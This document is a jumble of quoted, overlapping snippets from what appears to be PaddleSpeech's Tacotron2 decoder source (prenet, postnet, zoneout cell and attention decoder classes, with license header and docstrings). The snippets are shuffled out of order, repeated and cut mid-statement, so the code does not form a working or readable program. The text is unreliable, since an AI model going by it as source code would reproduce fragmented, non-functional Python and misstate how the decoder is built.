dunits lstm = nn.LSTMCell(iunits, dunits) if zoneout_rate >", "second output of LSTMCell in paddle _, next_hidden = self.lstm[0](xs,", "recurrent cell module e.g. `paddle.nn.LSTMCell`. zoneout_rate : float, optional Probability", "prev_att_w) att_ws += [att_w] prenet_out = self.prenet( prev_out) if self.prenet", "file except in compliance with the License. # You may", "att_ws = [], [], [] for y in ys.transpose([1, 0,", "Tensor Batch of next hidden states (B, hidden_size). tuple: -", "+ prenet_units if layer == 0 else dunits lstm =", "minlenratio) # initialize hidden states of decoder c_list = [self._zero_state(hs)]", "\"\"\" for i in six.moves.range(len(self.postnet)): xs = self.postnet[i](xs) return xs", "outs[-1][:, :, -1]) # (1, odim) else: prev_out = outs[-1][:,", "= output_activation_fn self.cumulate_att_w = cumulate_att_w self.use_concate = use_concate self.reduction_factor =", "https://github.com/eladhoffer/seq2seq.pytorch \"\"\" def __init__(self, cell, zoneout_rate=0.1): \"\"\"Initialize zone out cell", "cumulate previous attention weight. use_batch_norm : bool, optional Whether to", "[self._zero_state(hs)] prev_out = paddle.zeros([paddle.shape(hs)[0], self.odim]) # initialize attention prev_att_w =", "paddle.concat(logits, axis=1) # (B, odim, Lmax) before_outs = paddle.concat(outs, axis=2)", "Attention weights (L, T). Note ---------- This computation is performed", "in six.moves.range(len(self.prenet)): # F.dropout 引入了随机, tacotron2 的 dropout 是不能去掉的 x", "of spectrogram. .. _`Natural TTS Synthesis by Conditioning WaveNet on", "output tensors before postnet (B, Lmax, odim). Tensor Batch of", "= att_w # (B, Lmax) logits = paddle.concat(logits, axis=1) #", "+= [F.sigmoid(self.prob_out(zcs))[0]] if self.output_activation_fn is not None: prev_out = self.output_activation_fn(", "TTS Synthesis by Conditioning WaveNet on Mel Spectrogram Predictions`: https://arxiv.org/abs/1712.05884", "..., odim). \"\"\" for i in six.moves.range(len(self.prenet)): # F.dropout 引入了随机,", "prev_att_w + att_w else: prev_att_w = att_w # (B, Lmax,", "\"\"\" def __init__(self, idim, n_layers=2, n_units=256, dropout_rate=0.5): \"\"\"Initialize prenet module.", "ilens, z_list[0], prev_att_w, prev_out, last_attended_idx=last_attended_idx, backward_window=backward_window, forward_window=forward_window, ) else: att_c,", "# loop for an output sequence outs, logits, att_ws =", "bias_attr=False, ), nn.Tanh(), nn.Dropout(dropout_rate), )) ichans = n_chans if n_layers", "- Tensor: Batch of initial hidden states (B, hidden_size). -", "of LSTMCell in paddle _, next_hidden = self.cell(inputs, hidden) next_hidden", "the outputs. n_layers : int, optional The number of layers.", "ValueError( \"zoneout probability must be in the range from 0.0", "Conditioning WaveNet on Mel Spectrogram Predictions`_. .. _`Natural TTS Synthesis", "\"\"\" def __init__(self, cell, zoneout_rate=0.1): \"\"\"Initialize zone out cell module.", "= paddle.zeros([paddle.shape(hs)[0], self.odim]) # initialize attention prev_att_w = None self.att.reset()", "0: self.postnet = Postnet( idim=idim, odim=odim, n_layers=postnet_layers, n_chans=postnet_chans, n_filts=postnet_filts, use_batch_norm=use_batch_norm,", "paddle.nn.functional as F import six from paddle import nn from", "init_hs = paddle.zeros([paddle.shape(hs)[0], self.lstm[0].hidden_size]) return init_hs def forward(self, hs, hlens,", "number of prenet units. \"\"\" super().__init__() self.dropout_rate = dropout_rate self.prenet", "self.feat_out = nn.Linear( iunits, odim * reduction_factor, bias_attr=False) self.prob_out =", "for attention constraint if use_att_constraint: last_attended_idx = 0 else: last_attended_idx", "self.prenet = nn.LayerList() for layer in six.moves.range(n_layers): n_inputs = idim", "# Note: error when use += else: prev_att_w = att_w", "lstm units. prenet_layers : int, optional The number of prenet", "optional The number of filter channels. use_batch_norm : bool, optional", "propagation. Parameters ---------- hs : Tensor Batch of the sequences", "Parameters ---------- hs : Tensor Batch of the sequences of", "KIND, either express or implied. # See the License for", "z_list[-1]) outs += [ self.feat_out(zcs).reshape([paddle.shape(hs)[0], self.odim, -1]) ] logits +=", "def _zoneout(self, h, next_h, prob): # apply recursively if isinstance(h,", "+ (1 - prob) * next_h class Decoder(nn.Layer): \"\"\"Decoder module", "Decoder(nn.Layer): \"\"\"Decoder module of Spectrogram prediction network. This is a", "self.postnet[i](xs) return xs class ZoneOutCell(nn.Layer): \"\"\"ZoneOut Cell module. This is", "ys[:, self.reduction_factor - 1::self.reduction_factor] # length list should be list", ">= maxlen: # check mininum length if idx < minlen:", "n_chans ochans = odim if layer == n_layers - 1", "self.output_activation_fn(after_outs) return after_outs, before_outs, logits, att_ws def inference( self, h,", "(B, hidden_size). - Tensor: Batch of initial cell states (B,", "# initialize # self.apply(decoder_init) def _zero_state(self, hs): init_hs = paddle.zeros([paddle.shape(hs)[0],", "the sequences of characters. Parameters ---------- h : Tensor Input", ": bool Whether to apply attention constraint introduced in `Deep", "[], [], [] for y in ys.transpose([1, 0, 2]): if", "Voice 3`: https://arxiv.org/abs/1710.07654 \"\"\" # setup assert len(paddle.shape(h)) == 2", "constraint if use_att_constraint: last_attended_idx = 0 else: last_attended_idx = None", "Tensor Batch of input tensors (B, ..., idim). Returns ----------", "- 1) // 2, bias_attr=False, ), nn.Tanh(), nn.Dropout(dropout_rate), )) ichans", "Tensor Batch of the sequences of padded input tensors (B,", "prob[i]) for i in range(num_h)]) if self.training: mask = paddle.bernoulli(paddle.ones([*paddle.shape(h)])", "not isinstance(prob, tuple): prob = tuple([prob] * num_h) return tuple(", "c_list[0] = next_hidden for i in six.moves.range(1, len(self.lstm)): z_list[i], c_list[i]", "(the \"License\"); # you may not use this file except", "before_outs + self.postnet(before_outs) else: after_outs = before_outs # (B, Lmax,", "# length list should be list of int # hlens", "bool, optional Whether to use batch normalization.. dropout_rate : float,", "prediction network, which described in `Natural TTS Synthesis by Conditioning", "input tensors (B, ..., idim). Returns ---------- Tensor Batch of", "padding=(n_filts - 1) // 2, bias_attr=False, ), nn.Dropout(dropout_rate), )) def", "units. prenet_layers : int, optional The number of prenet layers.", "Prenet( idim=odim, n_layers=prenet_layers, n_units=prenet_units, dropout_rate=dropout_rate, ) else: self.prenet = None", "batch normalization. use_concate : bool, optional Whether to concatenate encoder", "filter channels. use_batch_norm : bool, optional Whether to use batch", "postnet (B, Lmax, odim). Tensor Batch of logits of stop", "ys): \"\"\"Calculate all of the attention weights. Parameters ---------- hs", "# # Unless required by applicable law or agreed to", "n_layers : int, optional The number of prenet layers. n_units", "...] outs += [self.feat_out(zcs).reshape([1, self.odim, -1])] # [(r), ...] probs", "hidden states (T, C). threshold : float, optional Threshold to", "Note: error when use += else: prev_att_w = att_w #", "2, 1]) # (B, Lmax, odim) after_outs = after_outs.transpose([0, 2,", "(B, Lmax, odim). Returns ---------- numpy.ndarray Batch of attention weights", "use_att_constraint : bool Whether to apply attention constraint introduced in", "else z_list[-1]) outs += [ self.feat_out(zcs).reshape([paddle.shape(hs)[0], self.odim, -1]) ] logits", "each input batch (B,). ys : Tensor Batch of the", "all of the attention weights. Parameters ---------- hs : Tensor", "return xs class ZoneOutCell(nn.Layer): \"\"\"ZoneOut Cell module. This is a", "h + (1 - mask) * next_h else: return prob", "outs[-1][:, :, -1] # (1, odim) if self.cumulate_att_w and prev_att_w", "WaveNet on Mel Spectrogram Predictions`_. The Postnet predicts refines the", ": int, optional The number of prenet layers. n_units :", "implied. # See the License for the specific language governing", "# apply recursively if isinstance(h, tuple): num_h = len(h) if", "attention constraint introduced in `Deep Voice 3`_. backward_window : int", "int, optional The number of postnet layers. postnet_filts : int,", "of the attention weights. Parameters ---------- hs : Tensor Batch", "int, optional The number of prenet units. \"\"\" super().__init__() self.dropout_rate", "// 2, bias_attr=False, ), nn.Tanh(), nn.Dropout(dropout_rate), )) ichans = n_chans", "self.dropout_rate = dropout_rate self.prenet = nn.LayerList() for layer in six.moves.range(n_layers):", "else n_units self.prenet.append( nn.Sequential(nn.Linear(n_inputs, n_units), nn.ReLU())) def forward(self, x): \"\"\"Calculate", "> 1.0 or zoneout_rate < 0.0: raise ValueError( \"zoneout probability", "optional The number of prenet layers. prenet_units : int, optional", "# define postnet if postnet_layers > 0: self.postnet = Postnet(", "Whether to concatenate encoder embedding with decoder lstm outputs. dropout_rate", "nn from paddlespeech.t2s.modules.tacotron2.attentions import AttForwardTA class Prenet(nn.Layer): \"\"\"Prenet module for", "else dunits self.feat_out = nn.Linear( iunits, odim * reduction_factor, bias_attr=False)", "---------- cell : nn.Layer: Paddle recurrent cell module e.g. `paddle.nn.LSTMCell`.", "len(h) if not isinstance(prob, tuple): prob = tuple([prob] * num_h)", "by Randomly Preserving Hidden Activations`: https://arxiv.org/abs/1606.01305 .. _`eladhoffer/seq2seq.pytorch`: https://github.com/eladhoffer/seq2seq.pytorch \"\"\"", "None # loop for an output sequence idx = 0", "Note ---------- This computation is performed in auto-regressive manner. ..", "(B, hidden_size). - Tensor: Batch of next cell states (B,", "Parameters ---------- cell : nn.Layer: Paddle recurrent cell module e.g.", "# setup for attention constraint if use_att_constraint: last_attended_idx = 0", "= odim if layer == 0 else n_chans ochans =", "self.att( hs, ilens, z_list[0], prev_att_w, last_attended_idx=last_attended_idx, backward_window=backward_window, forward_window=forward_window, ) att_ws", "prev_out) else: att_c, att_w = self.att(hs, hlens, z_list[0], prev_att_w) att_ws", "Lmax/r, odim) if self.reduction_factor > 1: ys = ys[:, self.reduction_factor", "xs): \"\"\"Calculate forward propagation. Parameters ---------- xs : Tensor Batch", "- mask) * next_h else: return prob * h +", "Whether to use batch normalization.. dropout_rate : float, optional Dropout", ": float, optional Probability of zoneout from 0.0 to 1.0.", "module. This is a module of zoneout described in `Zoneout:", "by Conditioning WaveNet on Mel Spectrogram Predictions`_. The Prenet preforms", "1]) logits = logits # apply activation function for scaling", "before_outs = before_outs.transpose([0, 2, 1]) # (B, Lmax, odim) after_outs", ".. _`Zoneout: Regularizing RNNs by Randomly Preserving Hidden Activations`: https://arxiv.org/abs/1606.01305", "nn.Tanh(), nn.Dropout(dropout_rate), )) ichans = n_chans if n_layers != 1", "Unless required by applicable law or agreed to in writing,", "ilens = paddle.shape(h)[0] maxlen = int(paddle.shape(h)[0] * maxlenratio) minlen =", "1.0. \"\"\" super().__init__() self.cell = cell self.hidden_size = cell.hidden_size self.zoneout_rate", "z_list[0], c_list[0] = next_hidden for i in six.moves.range(1, len(self.lstm)): z_list[i],", "= reduction_factor # check attention type if isinstance(self.att, AttForwardTA): self.use_att_extra_inputs", "int(paddle.shape(h)[0] * maxlenratio) minlen = int(paddle.shape(h)[0] * minlenratio) # initialize", "the specific language governing permissions and # limitations under the", "channels. output_activation_fn : nn.Layer, optional Activation function for outputs. cumulate_att_w", "int, optional The number of prenet layers. n_units : int,", "check mininum length if idx < minlen: continue # (1,", "hidden : tuple - Tensor: Batch of initial hidden states", "self.reduction_factor > 1: # (B, odim, Lmax) before_outs = before_outs.reshape(", "int Forward window size in attention constraint. Returns ---------- Tensor", "loop for an output sequence att_ws = [] for y", "prenet if prenet_layers > 0: self.prenet = Prenet( idim=odim, n_layers=prenet_layers,", "module for decoder of Spectrogram prediction network. This is a", "nn.Layer Instance of attention class. dlayers int, optional The number", "# Note: error when use += prev_att_w = prev_att_w +", "`eladhoffer/seq2seq.pytorch`_. Examples ---------- >>> lstm = paddle.nn.LSTMCell(16, 32) >>> lstm", "The number of prenet layers. prenet_units : int, optional The", "six.moves.range(len(self.postnet)): xs = self.postnet[i](xs) return xs class ZoneOutCell(nn.Layer): \"\"\"ZoneOut Cell", "in six.moves.range(len(self.postnet)): xs = self.postnet[i](xs) return xs class ZoneOutCell(nn.Layer): \"\"\"ZoneOut", "None: prev_out = self.output_activation_fn( outs[-1][:, :, -1]) # (1, odim)", "# (B, Lmax) logits = paddle.concat(logits, axis=1) # (B, odim,", "c_list[i] = next_hidden zcs = (paddle.concat([z_list[-1], att_c], axis=1) if self.use_concate", "- Tensor: Batch of next hidden states (B, hidden_size). -", "attention constraint. forward_window : int Forward window size in attention", "lstm = ZoneOutCell(lstm, 0.5) .. _`Zoneout: Regularizing RNNs by Randomly", "int, optional Reduction factor. \"\"\" super().__init__() # store the hyperparameters", "frames (B, Lmax, odim) -> (B, Lmax/r, odim) if self.reduction_factor", "Predictions`: https://arxiv.org/abs/1712.05884 \"\"\" def __init__( self, idim, odim, att, dlayers=2,", "error when use += else: prev_att_w = att_w # (B,", "propagation. Parameters ---------- xs : Tensor Batch of the sequences", "LSTMCell in paddle _, next_hidden = self.lstm[i](z_list[i - 1], (z_list[i],", "on Mel Spectrogram Predictions`: https://arxiv.org/abs/1712.05884 \"\"\" def __init__(self, idim, n_layers=2,", "y if self.cumulate_att_w and prev_att_w is not None: prev_att_w =", "in paddle _, next_hidden = self.lstm[0](xs, (z_list[0], c_list[0])) z_list[0], c_list[0]", "idim=odim, n_layers=prenet_layers, n_units=prenet_units, dropout_rate=dropout_rate, ) else: self.prenet = None #", "n_filts, stride=1, padding=(n_filts - 1) // 2, bias_attr=False, ), nn.BatchNorm1D(odim),", "scaling if self.output_activation_fn is not None: before_outs = self.output_activation_fn(before_outs) after_outs", "# initialize attention prev_att_w = None self.att.reset() # setup for", "of input is 10, the maximum length of outputs will", "the inputs. odim : int Dimension of the outputs. att", ") att_ws += [att_w] prenet_out = self.prenet( prev_out) if self.prenet", "WaveNet on Mel Spectrogram Predictions`_. .. _`Natural TTS Synthesis by", "to finish generation if sum(paddle.cast(probs[-1] >= threshold, 'int64')) > 0", "before_outs = self.output_activation_fn(before_outs) after_outs = self.output_activation_fn(after_outs) return after_outs, before_outs, logits,", "[(r), ...] probs += [F.sigmoid(self.prob_out(zcs))[0]] if self.output_activation_fn is not None:", "not None else prev_out xs = paddle.concat([att_c, prenet_out], axis=1) #", "store the hyperparameters self.idim = idim self.odim = odim self.att", "n_filts, stride=1, padding=(n_filts - 1) // 2, bias_attr=False, ), nn.Tanh(),", "idim + dunits if use_concate else dunits self.feat_out = nn.Linear(", "(1 - mask) * next_h else: return prob * h", "tensors before postnet (B, Lmax, odim). Tensor Batch of logits", "layers. dunits : int, optional The number of decoder lstm", "or idx >= maxlen: # check mininum length if idx", "(B, Lmax) logits = paddle.concat(logits, axis=1) # (B, odim, Lmax)", "= next_hidden for i in six.moves.range(1, len(self.lstm)): # we only", "a module of zoneout described in `Zoneout: Regularizing RNNs by", "bool Whether to apply attention constraint introduced in `Deep Voice", "hlens, z_list[0], prev_att_w) att_ws += [att_w] prenet_out = self.prenet( prev_out)", "float, optional Probability of zoneout from 0.0 to 1.0. \"\"\"", "the outputs. n_layers : int, optional The number of prenet", "the sequence of features from the sequence of the hidden", "zoneout_rate > 1.0 or zoneout_rate < 0.0: raise ValueError( \"zoneout", ") else: self.postnet = None # define projection layers iunits", "prev_att_w) prenet_out = self.prenet( prev_out) if self.prenet is not None", "target features (B, Lmax, odim). Returns ---------- Tensor Batch of", "minlenratio=0.0, maxlenratio=10.0, use_att_constraint=False, backward_window=None, forward_window=None, ): \"\"\"Generate the sequence of", "in six.moves.range(1, len(self.lstm)): c_list += [self._zero_state(hs)] z_list += [self._zero_state(hs)] prev_out", "dlayers int, optional The number of decoder lstm layers. dunits", "else: att_c, att_w = self.att( hs, ilens, z_list[0], prev_att_w, last_attended_idx=last_attended_idx,", "= ZoneOutCell(lstm, zoneout_rate) self.lstm.append(lstm) # define prenet if prenet_layers >", "states (B, hidden_size). \"\"\" # we only use the second", "number of prenet layers. n_units : int, optional The number", "if self.postnet is not None: # (1, odim, L) outs", "outs.transpose([0, 2, 1]).squeeze(0) probs = paddle.concat(probs, axis=0) att_ws = paddle.concat(att_ws,", "output_activation_fn : nn.Layer, optional Activation function for outputs. cumulate_att_w :", "self.lstm[0](xs, (z_list[0], c_list[0])) z_list[0], c_list[0] = next_hidden for i in", "self.reduction_factor # decoder calculation if self.use_att_extra_inputs: att_c, att_w = self.att(", "\"\"\"Postnet module for Spectrogram prediction network. This is a module", "outs + self.postnet(outs) # (L, odim) outs = outs.transpose([0, 2,", "Dropout rate.. \"\"\" super().__init__() self.postnet = nn.LayerList() for layer in", "last_attended_idx = 0 else: last_attended_idx = None # loop for", "The number of prenet units. \"\"\" super().__init__() self.dropout_rate = dropout_rate", "second output of LSTMCell in paddle _, next_hidden = self.lstm[i](z_list[i", "network in Tacotron2, which described in `Natural TTS Synthesis by", "the same output format with LSTMCell in paddle return next_hidden[0],", "in six.moves.range(dlayers): iunits = idim + prenet_units if layer ==", "tensors (B, idim, Tmax). Returns ---------- Tensor Batch of padded", "maximum length of outputs will be 10 * 10 =", "for Spectrogram prediction network. This is a module of Postnet", "= self.output_activation_fn(before_outs) after_outs = self.output_activation_fn(after_outs) return after_outs, before_outs, logits, att_ws", "return x class Postnet(nn.Layer): \"\"\"Postnet module for Spectrogram prediction network.", "att_ws += [att_w] prenet_out = self.prenet( prev_out) if self.prenet is", "= self.att(hs, hlens, z_list[0], prev_att_w) att_ws += [att_w] prenet_out =", "else prev_out xs = paddle.concat([att_c, prenet_out], axis=1) # we only", "idim). Returns ---------- Tensor Batch of output tensors (B, ...,", "\"\"\" super().__init__() self.postnet = nn.LayerList() for layer in six.moves.range(n_layers -", "== 0 else n_chans ochans = odim if layer ==", "2, bias_attr=False, ), nn.Dropout(dropout_rate), )) def forward(self, xs): \"\"\"Calculate forward", "is not None: # (B, odim, Lmax) after_outs = before_outs", ".. _`Natural TTS Synthesis by Conditioning WaveNet on Mel Spectrogram", "optional Zoneout rate. reduction_factor : int, optional Reduction factor. \"\"\"", "(B, hidden_size). \"\"\" # we only use the second output", "before_outs.transpose([0, 2, 1]) # (B, Lmax, odim) after_outs = after_outs.transpose([0,", "Tmax). \"\"\" for i in six.moves.range(len(self.postnet)): xs = self.postnet[i](xs) return", "encoder embedding with decoder lstm outputs. dropout_rate : float, optional", "= paddle.concat(logits, axis=1) # (B, odim, Lmax) before_outs = paddle.concat(outs,", "You may obtain a copy of the License at #", "prenet_units if layer == 0 else dunits lstm = nn.LSTMCell(iunits,", "(B, Lmax, Tmax). Note ---------- This computation is performed in", "outs += [ self.feat_out(zcs).reshape([paddle.shape(hs)[0], self.odim, -1]) ] logits += [self.prob_out(zcs)]", "class ZoneOutCell(nn.Layer): \"\"\"ZoneOut Cell module. This is a module of", "Mel Spectrogram Predictions`_. The Postnet predicts refines the predicted Mel-filterbank", "self.att.reset() # setup for attention constraint if use_att_constraint: last_attended_idx =", "logits, att_ws def inference( self, h, threshold=0.5, minlenratio=0.0, maxlenratio=10.0, use_att_constraint=False,", "hidden_size). tuple: - Tensor: Batch of next hidden states (B,", "maxlenratio=10.0, use_att_constraint=False, backward_window=None, forward_window=None, ): \"\"\"Generate the sequence of features", "optional Minimum length ratio. If set to 10 and the", "Returns ---------- Tensor Batch of output tensors (B, ..., odim).", "decoder of Spectrogram prediction network in Tacotron2, which described in", "define projection layers iunits = idim + dunits if use_concate", "# (1, odim, L) outs = paddle.concat(outs, axis=2) if self.postnet", "# initialize hidden states of decoder c_list = [self._zero_state(hs)] z_list", "int(paddle.shape(h)[0] * minlenratio) # initialize hidden states of decoder c_list", "axis=1) if self.use_concate else z_list[-1]) # [(1, odim, r), ...]", ">>> lstm = paddle.nn.LSTMCell(16, 32) >>> lstm = ZoneOutCell(lstm, 0.5)", "n_units self.prenet.append( nn.Sequential(nn.Linear(n_inputs, n_units), nn.ReLU())) def forward(self, x): \"\"\"Calculate forward", "paddle.shape(h)[0] maxlen = int(paddle.shape(h)[0] * maxlenratio) minlen = int(paddle.shape(h)[0] *", "prenet layers. n_units : int, optional The number of prenet", "= paddle.concat(outs, axis=2) # (B, Lmax, Tmax) att_ws = paddle.stack(att_ws,", "network prenet_units = prenet_units if prenet_layers != 0 else odim", "(L, odim) outs = outs.transpose([0, 2, 1]).squeeze(0) probs = paddle.concat(probs,", "= None self.att.reset() # loop for an output sequence outs,", "Dropout rate. zoneout_rate : float, optional Zoneout rate. reduction_factor :", "cell : nn.Layer: Paddle recurrent cell module e.g. `paddle.nn.LSTMCell`. zoneout_rate", "from 0.0 to 1.0. \"\"\" super().__init__() self.cell = cell self.hidden_size", "of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless", "if isinstance(self.att, AttForwardTA): self.use_att_extra_inputs = True else: self.use_att_extra_inputs = False", "WaveNet on Mel Spectrogram Predictions`: https://arxiv.org/abs/1712.05884 \"\"\" def __init__( self,", "Lmax, odim) -> (B, Lmax/r, odim) if self.reduction_factor > 1:", "continue # (1, odim, L) outs = paddle.concat(outs, axis=2) if", "# loop for an output sequence att_ws = [] for", "self.odim, -1])] # [(r), ...] probs += [F.sigmoid(self.prob_out(zcs))[0]] if self.output_activation_fn", "list of int hlens = list(map(int, hlens)) # initialize hidden", "float, optional Dropout rate.. \"\"\" super().__init__() self.postnet = nn.LayerList() for", "Lmax) before_outs = before_outs.reshape( [paddle.shape(before_outs)[0], self.odim, -1]) if self.postnet is", "postnet if postnet_layers > 0: self.postnet = Postnet( idim=idim, odim=odim,", "idim, odim, n_layers=5, n_chans=512, n_filts=5, dropout_rate=0.5, use_batch_norm=True, ): \"\"\"Initialize postnet", "odim). Tensor Batch of logits of stop prediction (B, Lmax).", "optional Whether to use batch normalization.. dropout_rate : float, optional", "is modified from `eladhoffer/seq2seq.pytorch`_. Examples ---------- >>> lstm = paddle.nn.LSTMCell(16,", "preforms nonlinear conversion of inputs before input to auto-regressive lstm,", "...] probs += [F.sigmoid(self.prob_out(zcs))[0]] if self.output_activation_fn is not None: prev_out", "ratio. If set to 1.0 and the length of input", "(B, Lmax/r, odim) if self.reduction_factor > 1: ys = ys[:,", "ZoneOutCell(nn.Layer): \"\"\"ZoneOut Cell module. This is a module of zoneout", "Dimension of the outputs. att nn.Layer Instance of attention class.", "Note: error when use += else: prev_att_w = att_w if", "self.use_att_extra_inputs: att_c, att_w = self.att( hs, ilens, z_list[0], prev_att_w, prev_out,", "with decoder lstm outputs. dropout_rate : float, optional Dropout rate.", "tuple - Tensor: Batch of initial hidden states (B, hidden_size).", "n_layers != 1 else odim if use_batch_norm: self.postnet.append( nn.Sequential( nn.Conv1D(", "the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required", "self.prenet( prev_out) if self.prenet is not None else prev_out xs", "License. # You may obtain a copy of the License", "isinstance(h, tuple): num_h = len(h) if not isinstance(prob, tuple): prob", "1.0 or zoneout_rate < 0.0: raise ValueError( \"zoneout probability must", "of zoneout from 0.0 to 1.0. \"\"\" super().__init__() self.cell =", "reduction_factor) # initialize # self.apply(decoder_init) def _zero_state(self, hs): init_hs =", "else: self.postnet = None # define projection layers iunits =", "1) // 2, bias_attr=False, ), nn.BatchNorm1D(odim), nn.Dropout(dropout_rate), )) else: self.postnet.append(", "# self.apply(decoder_init) def _zero_state(self, hs): init_hs = paddle.zeros([paddle.shape(hs)[0], self.lstm[0].hidden_size]) return", "self.odim = odim self.att = att self.output_activation_fn = output_activation_fn self.cumulate_att_w", "nn.Dropout(dropout_rate), )) ichans = n_chans if n_layers != 1 else", "use_batch_norm: self.postnet.append( nn.Sequential( nn.Conv1D( ichans, odim, n_filts, stride=1, padding=(n_filts -", "def __init__( self, idim, odim, att, dlayers=2, dunits=1024, prenet_layers=2, prenet_units=256,", "odim) else: prev_out = outs[-1][:, :, -1] # (1, odim)", "是不能去掉的 x = F.dropout(self.prenet[i](x)) return x class Postnet(nn.Layer): \"\"\"Postnet module", "int, optional The number of postnet filter size. postnet_chans :", "of the sequences of padded hidden states (B, Tmax, idim).", "att_w = self.att( hs, ilens, z_list[0], prev_att_w, prev_out, last_attended_idx=last_attended_idx, backward_window=backward_window,", "= [], [], [] for y in ys.transpose([1, 0, 2]):", "else z_list[-1]) # [(1, odim, r), ...] outs += [self.feat_out(zcs).reshape([1,", "zoneout_rate) self.lstm.append(lstm) # define prenet if prenet_layers > 0: self.prenet", "= paddle.shape(h)[0] maxlen = int(paddle.shape(h)[0] * maxlenratio) minlen = int(paddle.shape(h)[0]", "prev_att_w = None self.att.reset() # loop for an output sequence", "prob) * next_h class Decoder(nn.Layer): \"\"\"Decoder module of Spectrogram prediction", "to stop generation. minlenratio : float, optional Minimum length ratio.", ": Tensor(int64) padded Batch of lengths of each input batch", "def forward(self, inputs, hidden): \"\"\"Calculate forward propagation. Parameters ---------- inputs", "float, optional Threshold to stop generation. minlenratio : float, optional", "module of decoder of Spectrogram prediction network in Tacotron2, which", "= after_outs.transpose([0, 2, 1]) logits = logits # apply activation", "before postnet (B, Lmax, odim). Tensor Batch of logits of", "Prenet preforms nonlinear conversion of inputs before input to auto-regressive", ": nn.Layer, optional Activation function for outputs. cumulate_att_w : bool,", "previous attention weight. use_batch_norm : bool, optional Whether to use", "of output tensors before postnet (B, Lmax, odim). Tensor Batch", "c_list += [self._zero_state(hs)] z_list += [self._zero_state(hs)] prev_out = paddle.zeros([1, self.odim])", "input batch (B,). ys : Tensor Batch of the sequences", "prob): # apply recursively if isinstance(h, tuple): num_h = len(h)", "when use += else: prev_att_w = att_w if use_att_constraint: last_attended_idx", "be 10 * 10 = 100. use_att_constraint : bool Whether", "n_filts, stride=1, padding=(n_filts - 1) // 2, bias_attr=False, ), nn.Dropout(dropout_rate),", "module of Postnet in Spectrogram prediction network, which described in", "0.5) .. _`Zoneout: Regularizing RNNs by Randomly Preserving Hidden Activations`:", "Lmax). Tensor Batch of attention weights (B, Lmax, Tmax). Note", "outs, probs, att_ws def calculate_all_attentions(self, hs, hlens, ys): \"\"\"Calculate all", "== 0 else n_units self.prenet.append( nn.Sequential(nn.Linear(n_inputs, n_units), nn.ReLU())) def forward(self,", "set to 1.0 and the length of input is 10,", "Synthesis by Conditioning WaveNet on Mel Spectrogram Predictions`_. The decoder", "Voice 3`_. backward_window : int Backward window size in attention", "paddle return next_hidden[0], next_hidden def _zoneout(self, h, next_h, prob): #", "z_list = [self._zero_state(hs)] for _ in six.moves.range(1, len(self.lstm)): c_list +=", "+ self.postnet(outs) # (L, odim) outs = outs.transpose([0, 2, 1]).squeeze(0)", "prev_att_w = prev_att_w + att_w else: prev_att_w = att_w #", ": int, optional The number of prenet units. postnet_layers :", "# apply activation function for scaling if self.output_activation_fn is not", "idim if layer == 0 else n_units self.prenet.append( nn.Sequential(nn.Linear(n_inputs, n_units),", "loop for an output sequence idx = 0 outs, att_ws,", "Conditioning WaveNet on Mel Spectrogram Predictions`: https://arxiv.org/abs/1712.05884 \"\"\" def __init__(", "\"\"\" super().__init__() self.dropout_rate = dropout_rate self.prenet = nn.LayerList() for layer", "forward(self, hs, hlens, ys): \"\"\"Calculate forward propagation. Parameters ---------- hs", "tuple( [self._zoneout(h[i], next_h[i], prob[i]) for i in range(num_h)]) if self.training:", "length if idx < minlen: continue # (1, odim, L)", "WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.", "(B, Tmax, idim). hlens : Tensor(int64) Batch of lengths of", "* minlenratio) # initialize hidden states of decoder c_list =", "0 or idx >= maxlen: # check mininum length if", "- 1) // 2, bias_attr=False, ), nn.BatchNorm1D(odim), nn.Dropout(dropout_rate), )) else:", "weights (L, T). Note ---------- This computation is performed in", "at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable", "for the specific language governing permissions and # limitations under", "by Conditioning WaveNet on Mel Spectrogram Predictions`_. .. _`Natural TTS", "= [self._zero_state(hs)] z_list = [self._zero_state(hs)] for _ in six.moves.range(1, len(self.lstm)):", "The Prenet preforms nonlinear conversion of inputs before input to", "Lmax) before_outs = paddle.concat(outs, axis=2) # (B, Lmax, Tmax) att_ws", "use_att_constraint: last_attended_idx = 0 else: last_attended_idx = None # loop", "next_hidden for i in six.moves.range(1, len(self.lstm)): z_list[i], c_list[i] = self.lstm[i](z_list[i", "2, bias_attr=False, ), nn.BatchNorm1D(odim), nn.Dropout(dropout_rate), )) else: self.postnet.append( nn.Sequential( nn.Conv1D(", "self.zoneout_rate = zoneout_rate if zoneout_rate > 1.0 or zoneout_rate <", "of next cell states (B, hidden_size). \"\"\" # we only", "AttForwardTA class Prenet(nn.Layer): \"\"\"Prenet module for decoder of Spectrogram prediction", "Batch of the sequences of padded input tensors (B, idim,", "language governing permissions and # limitations under the License. #", "Randomly Preserving Hidden Activations`: https://arxiv.org/abs/1606.01305 .. _`eladhoffer/seq2seq.pytorch`: https://github.com/eladhoffer/seq2seq.pytorch \"\"\" def", "required by applicable law or agreed to in writing, software", "self.use_concate else z_list[-1]) outs += [ self.feat_out(zcs).reshape([paddle.shape(hs)[0], self.odim, -1]) ]", "BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either", "self.odim]) # initialize attention prev_att_w = None self.att.reset() # loop", "License. # Modified from espnet(https://github.com/espnet/espnet) \"\"\"Tacotron2 decoder related modules.\"\"\" import", "number of postnet filter size. postnet_chans : int, optional The", "forward_window=forward_window, ) else: att_c, att_w = self.att( hs, ilens, z_list[0],", "h + (1 - prob) * next_h class Decoder(nn.Layer): \"\"\"Decoder", "num_h) return tuple( [self._zoneout(h[i], next_h[i], prob[i]) for i in range(num_h)])", "Mel Spectrogram Predictions`_. The Prenet preforms nonlinear conversion of inputs", "odim, att, dlayers=2, dunits=1024, prenet_layers=2, prenet_units=256, postnet_layers=5, postnet_chans=512, postnet_filts=5, output_activation_fn=None,", "= idim + prenet_units if layer == 0 else dunits", "AttForwardTA): self.use_att_extra_inputs = True else: self.use_att_extra_inputs = False # define", "Tensor Output sequence of stop probabilities (L,). Tensor Attention weights", "= paddle.concat(att_ws, axis=0) break if self.output_activation_fn is not None: outs", "\"\"\"Calculate all of the attention weights. Parameters ---------- hs :", "hlens : Tensor(int64) padded Batch of lengths of each input", "-> (B, Lmax/r, odim) if self.reduction_factor > 1: ys =", "predicted Mel-filterbank of the decoder, which helps to compensate the", "= self.postnet[i](xs) return xs class ZoneOutCell(nn.Layer): \"\"\"ZoneOut 